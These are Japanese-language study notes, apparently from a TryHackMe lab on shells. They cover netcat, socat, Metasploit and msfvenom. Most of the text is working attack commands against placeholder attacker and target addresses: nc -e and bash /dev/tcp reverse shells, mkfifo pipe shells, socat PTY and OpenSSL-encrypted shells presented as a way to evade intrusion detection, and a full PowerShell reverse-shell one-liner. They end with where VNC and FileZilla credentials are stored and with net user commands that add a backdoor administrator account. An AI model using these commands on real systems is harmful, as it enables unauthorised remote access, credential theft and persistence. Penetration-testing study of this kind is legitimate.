Shellって何?
shell
コマンド ライン環境 (CLI) とインターフェイスするときに使用するもの
リバースシェル
リモート サーバーにサーバーへのコマンド ライン アクセスを送信するように強制するか
バインドシェル
サーバー上のポートを開いて接続し、さらにコマンドを実行するように強制することができます
Netcat (nc):
ネットワークの「スイスアーミーナイフ」として知られる基本ツール
リバースシェルの受信やバインドシェルへの接続が可能
ほぼすべてのLinuxディストリビューションにデフォルトでインストール済み
シェルは不安定だが、改善テクニックあり
Socat
Netcatの高機能版
より安定したシェルを提供
2つの欠点:
構文が複雑
デフォルトではほとんどインストールされていない
WindowsでもExe版が利用可能
Metasploit (multi/handler):
リバースシェルの受信に使用
安定したシェルを取得可能
多様なオプションを提供
Meterpreterシェルとの対話に必須
Stagedペイロードの処理に最適
Msfvenom:
Metasploitフレームワークの一部だが単独ツールとして提供
その場でペイロードを生成可能
リバースシェルやバインドシェルの生成に使用
非常に強力なツール
その他の有用なリソース:
Payloads all the Things(各種シェルのリポジトリ)
PentestMonkey Reverse Shell Cheatsheet
Kali Linuxの事前インストール済みWebシェル(/usr/share/webshells)
SecListsリポジトリ(シェル取得用のコードを含む)
リバースシェル
ターゲットマシンから攻撃者のコンピュータへ接続を行う方式
主な特徴:
ターゲットが攻撃者のマシンへ接続を開始
攻撃者側でリスナーを設定して接続を待ち受け
ファイアウォールのルールをバイパスしやすい
メリット:
ターゲットのファイアウォール制限を回避可能
デメリット:
インターネット経由の場合、攻撃者側のネットワーク設定が必要
(ただしTryHackMeネットワーク内では問題なし)
バインドシェル (Bind Shell):
ターゲットマシン上でリスナーを起動し、シェルを直接開く方式
主な特徴:
ターゲット側でポートを開放
攻撃者がそのポートに接続してリモートコード実行
メリット:
攻撃者側のネットワーク設定が不要
デメリット:
ターゲットのファイアウォールによってブロックされる可能性が高い
シェルの詳細解説
リバースシェルの例:
攻撃者側の準備:
コマンド: sudo nc -lvnp 8080
リスナーとして接続を待ち受け
ターゲット側の実行:
コマンド: nc <LOCAL-IP> <PORT> -e /bin/bash
-eオプションは対応してない場合があるからこっちも検討
bash -i >& /dev/tcp/<LOCAL-IP>/<PORT> 0>&1
攻撃者のマシンへ接続を開始
特徴:
CTFなどで最も一般的な手法
ターゲットから攻撃者へ接続を確立
バインドシェルの例:
ターゲット側の準備:
コマンド: nc -lvnp <port> -e "cmd.exe"
リスナーとしてポートを開放
攻撃者側の実行:
コマンド: nc MACHINE_IP <port>
ターゲットの開放ポートへ接続
特徴:
リバースシェルより使用頻度は低い
Windows/Linuxどちらでも利用可能
シェルのインタラクティブ性:
インタラクティブシェル:
ユーザーとプログラムの対話が可能
SSH等の対話的なプログラムが実行可能
例: PowerShell, Bash, Zsh, sh
非インタラクティブシェル:
ユーザーとの対話が不可能
対話を必要としないプログラムのみ実行可能
多くのリバース/バインドシェルはこれに該当
対話型プログラムは正常に動作しない
補足:
listenerコマンド:
sudo rlwrap nc -lvnp 443のエイリアス
ローカル設定が必要で、他のマシンでは動作しない
netcat
リバースシェル (Reverse Shells):
基本的なNetcatリスナーの構文:
nc -lvnp <port-number>
オプションの説明:
-l: リスナーモードを指定
-v: 詳細な出力を要求
-n: ホスト名解決やDNSを使用しない
-p: ポート番号の指定が続くことを示す
ポート選択のポイント:
1024以下のポートはsudoが必要
well-knownポート(80, 443, 53)の使用を推奨
ファイアウォール通過の可能性が高い
既存サービスと重複しないポートを選択
実装例:
sudo nc -lvnp 443
環境に応じて様々なペイロードで接続可能
前のタスクで示された例を参照
バインドシェル (Bind Shells):
基本的な接続構文:
nc <target-ip> <chosen-port>
特徴:
ターゲット上で既にリスナーが待機していることを前提
指定したポートに対して外向きの接続を確立
シンプルな接続方法
netcatシェルの問題点と解決
netcatシェルはデフォルトで不安定
Ctrl + Cで全体が終了する
非対話的
フォーマットエラーが発生しやすい
実際のターミナルではなくプロセスとして動作
Pythonを使った安定化方法
python -c 'import pty;pty.spawn("/bin/bash")'を実行
export TERM=xtermを実行
Ctrl + Zでバックグラウンド化
stty raw -echo; fgを実行
必要に応じてpythonをpython2やpython3に置き換え
rlwrapを使った安定化方法
事前にrlwrapをインストール
rlwrap nc -lvnp <port>でリスナーを起動
履歴機能が使える
タブ補完が使える
矢印キーが使える
Windowsシェルの安定化に特に効果的
Socatを使った安定化方法
Linuxターゲットのみで有効
socatバイナリを対象マシンに転送が必要
攻撃側でWebサーバーを立ち上げ
対象マシンでwgetやcurlでダウンロード
ターミナルサイズの調整
stty -aで現在のサイズを確認
stty rows <数値>で行数設定
stty cols <数値>で列数設定
socatについて
Socatはnetcatに似ていますが、多くの点で根本的に異なります
Socatは2つのポイント間のコネクタとして機能します
例:リスニングポートとキーボード、リスニングポートとファイル、または2つのリスニングポート
Socatは2つのポイント間のリンクを提供するだけです
Portalゲームのポータルガンのようなものです
リバースシェル
Socatの基本的なリバースシェルリスナーの構文:
socat TCP-L:<ポート> -
Socatはリスニングポートと標準入力の2つのポイントを接続します
結果として得られるシェルは不安定ですが、LinuxでもWindowsでも動作します
Windowsでの接続コマンド:
socat TCP:<攻撃者のIP>:<ポート> EXEC:powershell.exe,pipes
pipesオプションはPowerShellにUnixスタイルの標準入出力を使用させます
Linuxターゲットの同等のコマンド:
socat TCP:<攻撃者のIP>:<ポート> EXEC:"bash -li"
バインドシェル
Linuxターゲットでのコマンド:
socat TCP-L:<ポート> EXEC:"bash -li"
Windowsターゲットでのリスナーコマンド:
socat TCP-L:<ポート> EXEC:powershell.exe,pipes
攻撃マシンで待機中のリスナーに接続するコマンド:
socat TCP:<ターゲットのIP>:<ポート> -
pipes引数はUnixとWindows間のCLI環境での入出力を処理します
安定したLinux ttyリバースシェル(ターゲットがLinuxの場合のみ有効):
リスナーの新しい構文:
socat TCP-L:<ポート> FILE:\`tty\`,raw,echo=0
このコマンドは現在のTTYをファイルとして渡し、エコーを0に設定します
stty raw -echo; fgのnetcatシェルでのCtrl+Zトリックとほぼ同等です
ターゲットでの特別なコマンド(socatが必要):
socat TCP:<攻撃者のIP>:<ポート> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
オプションの説明:
pty:擬似端末を割り当てます
stderr:エラーメッセージをシェル内に表示します
sigint:Ctrl+Cをサブプロセスに渡します
setsid:新しいセッションでプロセスを作成します
sane:端末を正常化します
Socatシェルは完全にインタラクティブで、SSHなどのコマンドを使用できます
stty値を設定することで、VimやNanoなどのエディタも使用可能です
Socatシェルが正しく動作しない場合、コマンドに-d -dを追加して詳細度を上げることができます
socat暗号化シェル
Socatの特徴
Socatは暗号化されたシェル(バインドシェルとリバースシェル)を作成できる
暗号化シェルを使用する理由:
復号化キーがない限り傍受されない
IDS(侵入検知システム)を回避できる可能性が高い
暗号化シェルを操作する際、TCP部分をOPENSSLに置き換える必要がある
証明書の生成(攻撃マシンで実行):
コマンド:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
このコマンドで自己署名された2048ビットのRSAキーと証明書を生成
証明書情報の入力は任意
PEMファイルへの結合:
コマンド
cat shell.key shell.crt > shell.pem
リバースシェルリスナーの設定:
コマンド:
socat OPENSSL-LISTEN:<ポート>,cert=shell.pem,verify=0 -
生成した証明書を使用してOPENSSLリスナーを設定
verify=0は証明書の認証をスキップ
証明書はリスナー側で使用する必要がある
接続コマンド
socat OPENSSL:<攻撃者のIP>:<ポート>,verify=0 EXEC:/bin/bash
バインドシェルの場合:
ターゲット側コマンド(Windows):
socat OPENSSL-LISTEN:<ポート>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
攻撃者側コマンド:
socat OPENSSL:<ターゲットのIP>:<ポート>,verify=0 -
PEMファイルをターゲットにコピーする必要がある
これまでのツールで一般的なペイロードを確認
netcat の一部バージョンには -e オプションがある
-e オプションで接続時にプロセスを実行可能
バインドシェルのリスナー例
nc -lvnp <PORT> -e /bin/bash
リスナーに接続するとターゲットでバインドシェルが実行
リバースシェルの場合:
nc <LOCAL-IP> <PORT> -e /bin/bash
ターゲットでリバースシェルが実行
-e オプションはセキュアでないため、多くの netcat には含まれない
Windows ではこの手法が機能
Linux では以下のコードを使用
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
コマンドの動作
/tmp/f に名前付きパイプを作成
netcat リスナーの入力をパイプの出力に接続
netcat の出力を sh にパイプし、stderr を stdout にリダイレクト
stdout をパイプの入力に送り、循環を完成
リバースシェルの場合のコマンド
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
前のコマンドと同様だが、nc の接続構文を使用
Windows Server ターゲットでは Powershell リバースシェルが有用
標準のワンライナー
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
使用方法
<IP> と <PORT> を適切な値に置き換える
cmd.exe シェルや Web シェルで実行
PayloadsAllTheThings リポジトリ
各種言語のシェルコードが含まれる
コピー&ペースト用のワンライナー形式
リンクを参照して利用可能なものを確認
さて、シェルはできたが、次に何をすべきか
シェルは不安定で非対話的になりがちで、理想的ではない
Linuxでは、ユーザーアカウントへのアクセスを探すのが理想的
SSHキーが /home/<user>/.ssh に保存されていることが多い
CTFでは、システム内に認証情報が残っている場合がある
エクスプロイトで自分のアカウントを追加することも可能
例:Dirty C0w、書き込み可能な /etc/shadow や /etc/passwd
SSHが開いていれば、すぐにSSHアクセスが得られる
Windowsでは、オプションが限られる
実行中のサービスのパスワードがレジストリに保存されている場合がある
VNCサーバーはパスワードをプレーンテキストでレジストリに残すことが多い
FileZilla FTPサーバーの一部バージョンでは、資格情報がXMLファイルに残される
ファイルパス
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\xampp\FileZilla Server\FileZilla Server.xml
資格情報はバージョンによりMD5ハッシュまたはプレーンテキスト
Windowsで理想的なのは、SYSTEMユーザーや高権限の管理者アカウントを取得すること
自分のアカウント(管理者グループ内)をマシンに追加し、適切な方法でログイン
例:RDP、telnet、winexe、psexec、WinRM
アカウント追加のコマンド構文:
net user <username> <password> /add
net localgroup administrators <username> /add
重要なポイント
リバースシェルとバインドシェルは重要なテクニックだが、ネイティブシェルほど完全ではない
理想的には、マシンにアクセスするための「通常の」方法を使用するようエスカレートすべき
そうすることで、ターゲットをさらに悪用する際に使いやすくなる